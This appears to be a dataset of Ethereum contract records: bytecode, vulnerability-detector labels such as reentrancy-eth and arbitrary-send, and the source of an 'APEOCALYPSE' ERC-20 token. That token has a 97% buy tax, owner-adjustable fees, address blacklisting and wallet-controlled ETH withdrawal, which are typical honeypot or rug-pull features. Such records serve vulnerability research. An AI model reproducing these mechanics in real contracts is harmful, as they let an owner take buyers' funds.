30152612e7d8184612ba2565b905092915050565b60006020820190508181036000830152612e9e81612bdb565b9050919050565b60006020820190508181036000830152612ebe81612bfe565b9050919050565b60006020820190508181036000830152612ede81612c21565b9050919050565b60006020820190508181036000830152612efe81612c44565b9050919050565b60006020820190508181036000830152612f1e81612c67565b9050919050565b60006020820190508181036000830152612f3e81612c8a565b9050919050565b60006020820190508181036000830152612f5e81612cad565b9050919050565b60006020820190508181036000830152612f7e81612cd0565b9050919050565b60006020820190508181036000830152612f9e81612cf3565b9050919050565b60006020820190508181036000830152612fbe81612d16565b9050919050565b60006020820190508181036000830152612fde81612d39565b9050919050565b6000602082019050612ffa6000830184612d5c565b92915050565b600060a0820190506130156000830188612d5c565b6130226020830187612b93565b81810360408301526130348186612b26565b90506130436060830185612b17565b6130506080830184612d5c565b9695505050505050565b600060208201905061306f6000830184612d6b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130d58261321d565b91506130e08361321d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613115576131146132c2565b5b828201905092915050565b600061312b8261321d565b91506131368361321d565b925082613146576131456132f1565b5b828204905092915050565b600061315c8261321d565b91506131678361321d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156131a05761319f6132c2565b5b828202905092915050565b60006131b68261321d565b91506131c18361321d565b9250828210156131d4576131d36132c2565b5b828203905092915050565b60006131ea826131fd565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323f8261321d565b9050919050565b60005b83811015613264578082015181840152602081019050613249565b83811115613273576000848401525b50505050565b60006132848261321d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132b7576132b66132c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b613607816131df565b811461361257600080fd5b50565b61361e816131f1565b811461362957600080fd5b50565b6136358161321d565b811461364057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220778aedc04b11457ef6138832c4ae65cba75c058c68552dd6ca569bb29ee92c7464736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,939
0x0ce0771daed8f29e298b6b3d40529327337eaad9
/** *Submitted for verification at Etherscan.io on 2022-03-26 */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract APEOCALYPSE is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "APEOCALYPSE"; string private constant _symbol = "APES"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 97; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); address payable private _marketingAddress = payable(0x4CdB8674716f7096B7bfdE75CB6f869B6Df0d94d); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = true; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000 * 10**9; uint256 public _maxWalletSize = 20000 * 10**9; uint256 public _swapTokensAtAmount = 10000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610555578063dd62ed3e14610575578063ea1644d5146105bb578063f2fde38b146105db57600080fd5b8063a2a957bb146104d0578063a9059cbb146104f0578063bfd7928414610510578063c3c8cd801461054057600080fd5b80638f70ccf7116100d15780638f70ccf71461044d5780638f9a55c01461046d57806395d89b411461048357806398a5c315146104b057600080fd5b80637d1db4a5146103ec5780637f2feddc146104025780638da5cb5b1461042f57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038257806370a0823114610397578063715018a6146103b757806374010ece146103cc57600080fd5b8063313ce5671461030657806349bd5a5e146103225780636b999053146103425780636d8aa8f81461036257600080fd5b80631694505e116101ab5780631694505e1461027457806318160ddd146102ac57806323b872dd146102d05780632fd689e3146102f057600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024457600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611951565b6105fb565b005b34801561020a57600080fd5b5060408051808201909152600b81526a4150454f43414c5950534560a81b60208201525b60405161023b9190611a16565b60405180910390f35b34801561025057600080fd5b5061026461025f366004611a6b565b61069a565b604051901515815260200161023b565b34801561028057600080fd5b50601454610294906001600160a01b031681565b6040516001600160a01b03909116815260200161023b565b3480156102b857600080fd5b5066038d7ea4c680005b60405190815260200161023b565b3480156102dc57600080fd5b506102646102eb366004611a97565b6106b1565b3480156102fc57600080fd5b506102c260185481565b34801561031257600080fd5b506040516009815260200161023b565b34801561032e57600080fd5b50601554610294906001600160a01b031681565b34801561034e57600080fd5b506101fc61035d366004611ad8565b61071a565b34801561036e57600080fd5b506101fc61037d366004611b05565b610765565b34801561038e57600080fd5b506101fc6107ad565b3480156103a357600080fd5b506102c26103b2366004611ad8565b6107f8565b3480156103c357600080fd5b506101fc61081a565b3480156103d857600080fd5b506101fc6103e7366004611b20565b61088e565b3480156103f857600080fd5b506102c260165481565b34801561040e57600080fd5b506102c261041d366004611ad8565b60116020526000908152604090205481565b34801561043b57600080fd5b506000546001600160a01b0316610294565b34801561045957600080fd5b506101fc610468366004611b05565b6108bd565b34801561047957600080fd5b506102c260175481565b34801561048f57600080fd5b506040805180820190915260048152634150455360e01b602082015261022e565b3480156104bc57600080fd5b506101fc6104cb366004611b20565b610905565b3480156104dc57600080fd5b506101fc6104eb366004611b39565b610934565b3480156104fc57600080fd5b5061026461050b366004611a6b565b610972565b34801561051c57600080fd5b5061026461052b366004611ad8565b60106020526000908152604090205460ff1681565b34801561054c57600080fd5b506101fc61097f565b34801561056157600080fd5b506101fc610570366004611b6b565b6109d3565b34801561058157600080fd5b506102c2610590366004611bef565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c757600080fd5b506101fc6105d6366004611b20565b610a74565b3480156105e757600080fd5b506101fc6105f6366004611ad8565b610aa3565b6000546001600160a01b0316331461062e5760405162461bcd60e51b815260040161062590611c28565b60405180910390fd5b60005b81518110156106965760016010600084848151811061065257610652611c5d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068e81611c89565b915050610631565b5050565b60006106a7338484610b8d565b5060015b92915050565b60006106be848484610cb1565b610710843361070b85604051806060016040528060288152602001611da1602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ed565b610b8d565b5060019392505050565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161062590611c28565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078f5760405162461bcd60e51b815260040161062590611c28565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e257506013546001600160a01b0316336001600160a01b0316145b6107eb57600080fd5b476107f581611227565b50565b6001600160a01b0381166000908152600260205260408120546106ab90611261565b6000546001600160a01b031633146108445760405162461bcd60e51b815260040161062590611c28565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b85760405162461bcd60e51b815260040161062590611c28565b601655565b6000546001600160a01b031633146108e75760405162461bcd60e51b815260040161062590611c28565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092f5760405162461bcd60e51b815260040161062590611c28565b601855565b6000546001600160a01b0316331461095e5760405162461bcd60e51b815260040161062590611c28565b600893909355600a91909155600955600b55565b60006106a7338484610cb1565b6012546001600160a01b0316336001600160a01b031614806109b457506013546001600160a01b0316336001600160a01b0316145b6109bd57600080fd5b60006109c8306107f8565b90506107f5816112e5565b6000546001600160a01b031633146109fd5760405162461bcd60e51b815260040161062590611c28565b60005b82811015610a6e578160056000868685818110610a1f57610a1f611c5d565b9050602002016020810190610a349190611ad8565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6681611c89565b915050610a00565b50505050565b6000546001600160a01b03163314610a9e5760405162461bcd60e51b815260040161062590611c28565b601755565b6000546001600160a01b03163314610acd5760405162461bcd60e51b815260040161062590611c28565b6001600160a01b038116610b325760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610625565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bef5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610625565b6001600160a01b038216610c505760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610625565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d155760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610625565b6001600160a01b038216610d775760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610625565b60008111610dd95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610625565b6000546001600160a01b03848116911614801590610e0557506000546001600160a01b03838116911614155b156110e657601554600160a01b900460ff16610e9e576000546001600160a01b03848116911614610e9e5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610625565b601654811115610ef05760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610625565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3257506001600160a01b03821660009081526010602052604090205460ff16155b610f8a5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610625565b6015546001600160a01b0383811691161461100f5760175481610fac846107f8565b610fb69190611ca2565b1061100f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610625565b600061101a306107f8565b6018546016549192508210159082106110335760165491505b80801561104a5750601554600160a81b900460ff16155b801561106457506015546001600160a01b03868116911614155b80156110795750601554600160b01b900460ff165b801561109e57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c357506001600160a01b03841660009081526005602052604090205460ff16155b156110e3576110d1826112e5565b4780156110e1576110e147611227565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112857506001600160a01b03831660009081526005602052604090205460ff165b8061115a57506015546001600160a01b0385811691161480159061115a57506015546001600160a01b03848116911614155b15611167575060006111e1565b6015546001600160a01b03858116911614801561119257506014546001600160a01b03848116911614155b156111a457600854600c55600954600d555b6015546001600160a01b0384811691161480156111cf57506014546001600160a01b03858116911614155b156111e157600a54600c55600b54600d555b610a6e8484848461145f565b600081848411156112115760405162461bcd60e51b81526004016106259190611a16565b50600061121e8486611cba565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610696573d6000803e3d6000fd5b60006006548211156112c85760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610625565b60006112d261148d565b90506112de83826114b0565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132d5761132d611c5d565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113aa9190611cd1565b816001815181106113bd576113bd611c5d565b6001600160a01b0392831660209182029290920101526014546113e39130911684610b8d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141c908590600090869030904290600401611cee565b600060405180830381600087803b15801561143657600080fd5b505af115801561144a573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146c5761146c6114f2565b611477848484611520565b80610a6e57610a6e600e54600c55600f54600d55565b600080600061149a611617565b90925090506114a982826114b0565b9250505090565b60006112de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611655565b600c541580156115025750600d54155b1561150957565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153287611683565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156490876116e0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115939086611722565b6001600160a01b0389166000908152600260205260409020556115b581611781565b6115bf84836117cb565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160491815260200190565b60405180910390a3505050505050505050565b600654600090819066038d7ea4c6800061163182826114b0565b82101561164c5750506006549266038d7ea4c6800092509050565b90939092509050565b600081836116765760405162461bcd60e51b81526004016106259190611a16565b50600061121e8486611d5f565b60008060008060008060008060006116a08a600c54600d546117ef565b92509250925060006116b061148d565b905060008060006116c38e878787611844565b919e509c509a509598509396509194505050505091939550919395565b60006112de83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ed565b60008061172f8385611ca2565b9050838110156112de5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610625565b600061178b61148d565b905060006117998383611894565b306000908152600260205260409020549091506117b69082611722565b30600090815260026020526040902055505050565b6006546117d890836116e0565b6006556007546117e89082611722565b6007555050565b600080808061180960646118038989611894565b906114b0565b9050600061181c60646118038a89611894565b905060006118348261182e8b866116e0565b906116e0565b9992985090965090945050505050565b60008080806118538886611894565b905060006118618887611894565b9050600061186f8888611894565b905060006118818261182e86866116e0565b939b939a50919850919650505050505050565b6000826000036118a6575060006106ab565b60006118b28385611d81565b9050826118bf8583611d5f565b146112de5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610625565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f557600080fd5b803561194c8161192c565b919050565b6000602080838503121561196457600080fd5b823567ffffffffffffffff8082111561197c57600080fd5b818501915085601f83011261199057600080fd5b8135818111156119a2576119a2611916565b8060051b604051601f19603f830116810181811085821117156119c7576119c7611916565b6040529182528482019250838101850191888311156119e557600080fd5b938501935b82851015611a0a576119fb85611941565b845293850193928501926119ea565b98975050505050505050565b600060208083528351808285015260005b81811015611a4357858101830151858201604001528201611a27565b81811115611a55576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a7e57600080fd5b8235611a898161192c565b946020939093013593505050565b600080600060608486031215611aac57600080fd5b8335611ab78161192c565b92506020840135611ac78161192c565b929592945050506040919091013590565b600060208284031215611aea57600080fd5b81356112de8161192c565b8035801515811461194c57600080fd5b600060208284031215611b1757600080fd5b6112de82611af5565b600060208284031215611b3257600080fd5b5035919050565b60008060008060808587031215611b4f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8057600080fd5b833567ffffffffffffffff80821115611b9857600080fd5b818601915086601f830112611bac57600080fd5b813581811115611bbb57600080fd5b8760208260051b8501011115611bd057600080fd5b602092830195509350611be69186019050611af5565b90509250925092565b60008060408385031215611c0257600080fd5b8235611c0d8161192c565b91506020830135611c1d8161192c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611c9b57611c9b611c73565b5060010190565b60008219821115611cb557611cb5611c73565b500190565b600082821015611ccc57611ccc611c73565b500390565b600060208284031215611ce357600080fd5b81516112de8161192c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d3e5784516001600160a01b031683529383019391830191600101611d19565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d7c57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611d9b57611d9b611c73565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b6fc9c1c74068029fed2658b25429ad3cf5c36b2b067a6594749c4e40eaf665c64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
6,940
0xbfa9df9ed8805e657d0feab5d186c6a567752d7f
